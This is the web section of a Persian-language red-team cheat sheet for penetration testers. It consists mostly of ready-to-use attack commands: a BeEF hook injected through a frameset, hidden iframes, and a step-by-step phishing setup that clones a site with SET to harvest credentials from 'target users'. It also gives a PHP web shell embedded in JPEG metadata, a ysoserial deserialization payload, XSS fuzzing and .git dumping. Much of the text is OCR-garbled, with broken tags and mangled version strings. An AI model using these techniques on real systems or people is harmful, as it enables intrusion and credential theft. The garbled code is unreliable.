تیم قرمز

برگه رمز هایی برای نفوذگران

سرآغاز لینوکس ویندوز شبکه نکات و ترفند ها روش کار با ابزار ها وب پایگاه داده ها برنامه نویسی بی سیم مهندسی معکوس رمزنگاری پنهان نگاری ارزیابی اطلاعات(osint) منابع

وب

user-agent های متداول

Internet explorer (6.0, 7.0, 8.0, 9.0)

Agent نسخه
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) IE 6.0/WinXP 32-bit
Mozilla/ 4. 0 (compatible; MSIE 7. 0; Windows NT 5.1; SV1; .NET CLR 2.0.50-2 7 ) IE 7.0/WinXP 32-bit
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30 7 29) IE 8.0/WinVista 32-bit
Mozilla/ 5. 0 (compatible; MSIE 9. 0; Windows NT 6.1; Trident/5.0) IE 9.0/Win7 32-bit
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) IE 9.0/Win7 64-bit

Firefox (5.0, 13.0, 17.0)

Agent نسخه
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox 5.0/Win7 64-bit
Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1 Firefox 13.0/WinXP 32-bit
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.01 Gecko/20100101 Firefox/17.0 Firefox 17/Win7 64-bit
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0 Firefox 17.0/Linux
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17. 0) Gecko/20100101 Firefox/1 7 .0 Firefox 17.0/MacOSX 10.7
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20100101 Firefox/17.0 Firefox 17.0/MacOSX 10.8

Chrome (Generic 13.0)

Agent نسخه
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/53-.11 Chrome Generic/WinXP
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537 .11 (KHTl~L, like Gecko) Chrome/23.0.1271.97 Safari/53-.11 Chrome Generic/Win7
Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537 .11 (KHTl~L, like Gecko) Chrome/23.0.1271.97 Safari/53 7 .11 Chrome Generic/Linux
Mozilla/5.0 (Macintosh; Intel Mac OS X 10 8 2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.12-1.101 Safari/537.11 Chrome Generic/MacOSX
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Chrome 13.0/Win7 64-bit

Safari (6.0)

Agent Version
Mozilla/5.0 (Macintosh; Intel Mac OS X 10 ~ 5) AppleWebKit/536.26.17 (KHTML, like Ge~ko) Version/6.0.2 Safari/536.26.17 Safari 6.0/MacOSX

Mobile safari (4.0 & 6.0)

Agent نسخه
Mozilla/5.0 (iPad; CPU OS 6 0 1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 Mobile Safari 6.0/iOS (iPad)
Mozilla/5.0 (iPhone; CPU iPhone OS 6 0 1 like l~ac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 Mobile Safari 6.0/iOS (iPhone)
Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4. 0 Mobile Safari/533.1 Mobile Safari 4.0/Android

زبان HTML

کد beef جا ساز شده در iframe

!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
html
head.
title Campaign Title· /title
script
var commandModuleStr = ' script src= "' + window.location.protocol +
'//' + window. location. host + ':8080/hook.js"
type="text/javascript" \/script.';
document.write(commandModuleStr);
//Site refresh=window.setTimeout(function() {window.location.href='http://ww
w.google.com/'},20000);
/script
/head
frameset rows="*,1px"
frame src="http://www.google.com/" frameborder=O
noresize="noresize" /
frame src="/e" frarneborder=O scrolling=no noresize=noresize /
/frameset
/html

کد java applet جاساز شده (* باید در <body> قرار بگیرد)

applet archive="legit.jar" code="This is a legit applet" width="1"
height="1"
/applet

iframe توکار

iframe src="http://1.1.1.1" width="0" height="0" frameborder="0"
tabindex="-1" title="empty" style="visibility:hidden;display:none"
/iframe

روش های ارتباط Firefox

ASCII  -   Base64   javascript:btoa("ascii str")
Base64 -   ASCII    javascript:atob("base64==")
ASCII  -   URI      javascript:encodeURI(" script "}
URI    -   ASCII    javascript:decodeURI("%3cscript%3E")

دستور Wget

ضبط جلسه توکن

wget -q --save-cookies=cookie.txt --keep-session-cookies --post-
data="username: admin&password=pass&Login=Login" http://url/login. php

دستور Curl

دریافت headers صفحه وب با تغییر user agent

curl -I -X HEAD -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)"
http:// ip

دریافت صفحه پس از احراز هویت

curl -u user:pass -o outfile https://login.bob.com

دستور Ftp

curl ftp://user:[email protected]/directory/

بررسی فایل های مختلف

curl http://bob.com/file[l-10] .txt

ایجاد Basic authentication در apache2

The steps below will clone a website and redirect after 3 seconds to
another page requiring basic authentication. It has proven very useful for
collecting credentials during social engineering engagements.

1. Start Social Engineering Toolkit (SET)
    /pentest/exploits/set/./set
2. Through SET, use the 'Website Attack Vector' menu to clone your
    preferred website. ' Do not close SET '
3. In a new terminal create a new directory (lowercase L)
    mkdir /var/www/1
4. Browse to SET directory and copy the cloned site
    cd /pentest/exploits/set/src/web clone/site/template/
    cp index.html /var/www/index.html
    cp index.html /var/www/1/index.html
5. Open /var/www/index.html and add tag between head tags
    meta http-equiv="refresh"
content="3;url=http:// domainlip /1/index.html"/
6. Create blank password file to be used for basic auth
    touch /etc/apache2/.htpasswd
7. Open /etc/apache2/sites-available/default and add:
    Directory /var/www/1
        AuthType Basic
        AuthName "PORTAL LOGIN BANNER"
        AuthUserFile /etc/apache2/.htpasswd
        Require user test
    /Directory
8. Start Apache2
    /etc/init.d/apache2 start
9. Start Wireshark and add the filter:
    http.authbasic
10. Send the following link to your target users
    http:// domainlip /index.html

خودکار سازی فرآیند عکس از صفحه وب

با استفاده از nmap

Install dependencies:
    wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0 rc1-
    static-i386.tar.bz2
    tar -jxvf wkhtmltoimage-0.11.0 rc1-statlc-i386.tar.bz2
    cp wkhtmltoimage-i386 /usr/local/bin/

Install Nmap module:
    git clone git://github.com/SpiderLabs/Nmap-Tools.git
    cd Nmap-Tools/NSE/
    cp http-screenshot.nse /usr/local/share/nmap/scripts/
    nmap --script-updatedb

OS/version detection using screenshot script (screenshots saved as .png):
    nmap -A -script=http-screenshot -p80,443 1.1.1.0/24 -oA nmap-
    screengrab

Script will generate HTML preview page with all screenshots:
#!/bin/bash
printf " HTHL.- BODY BR "
preview.html
ls -1 '.png I awk -F : ' {print $1":"$2"\n BR- IMG SRC=\""$1"%3A"$2"\"
width=400 BR BR ")' preview. html
printf " /BODY /HTML. " preview. html

دستور Peepingtom

Install Dependencies:
Download Phantomjs
    https://phantomjs.googlecode.com/files/phantomjs-1.9.2-linux-x86_64.tar.bz2
Download PeepingTom
    git clone https://bitbucket.org/LaNMaSteR53/peepingtom.git
Extract and copy phantomjs from phantomjs-1.9.2-linux-x86 64.tar.bz2 and
copy to peepingtom directory
Run PeepingTom
    python peepingtom.py http:// mytarget.com

تزریق پیلود های مختلف با wfuzz

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt -hc 404 https://www.example.com/?req=search_site&searchTitle=FUZZ

حدس فایل های مختلف با پسوند های مشخص با wfuzz

wfuzz -w /usr/share/wordlists/big.txt -u http://admirer.htb/admin/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c 

حدس در خواست های POST

wfuzz -X POST -u ''http://quick.htb/login.php' -w elist.txt -d 'email=FUZZ&password=123456' -hc 200 -c

حدس مسیر های وب با ffuf

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://10.10.10.10/FUZZ

حدس subdomain با gobuster

gobuster dns -t 50 -d pubg.com -w ~/seclists/Dir/subdomains.dat

پیدا نمودن subdomain بر اساس گواهی نامه ها

https://crt.sh/

و

assetfinder --subs-only <domain> | httprobe

تزریق php درون jpeg

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' me.jpg

اکسپلویت deserialization برنامه های جاوا

java -jar ysoserial.jar CommonsBeanutils1 'COMMAND' | base64 -w0

وب شل های معروف

https://github.com/TheBinitGhimire/Web-Shells

استخراج ساختار پوشه ها و فایل ها از .git

https://github.com/arthaud/git-dumper

./git-dumper.py http://example.com/.git/ example.com

استخراج اطلاعات از .git

https://github.com/internetwache/GitTools

./extractor.sh /tmp/mygitrepo /tmp/mygitrepodump

استخراج اطلاعات از .DS_Store

1-find structure
python2.7 ds_store_exp.py http://poo.htb/.DS_Store
2-enum in finded path 
java -jar iis_shortname_scanner.jar 2 20 http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/

استخراج پارامتر های صفحات

python3 paramspider.py --domain bugcrowd.com --exclude woff,css,js,png,svg,php,jpg --output bugcrowd.txt

بررسی ساختار پارامتر ها بر اساس الگو های آسیب پذیری ها

gf xss domain.txt
gf potential domain.txt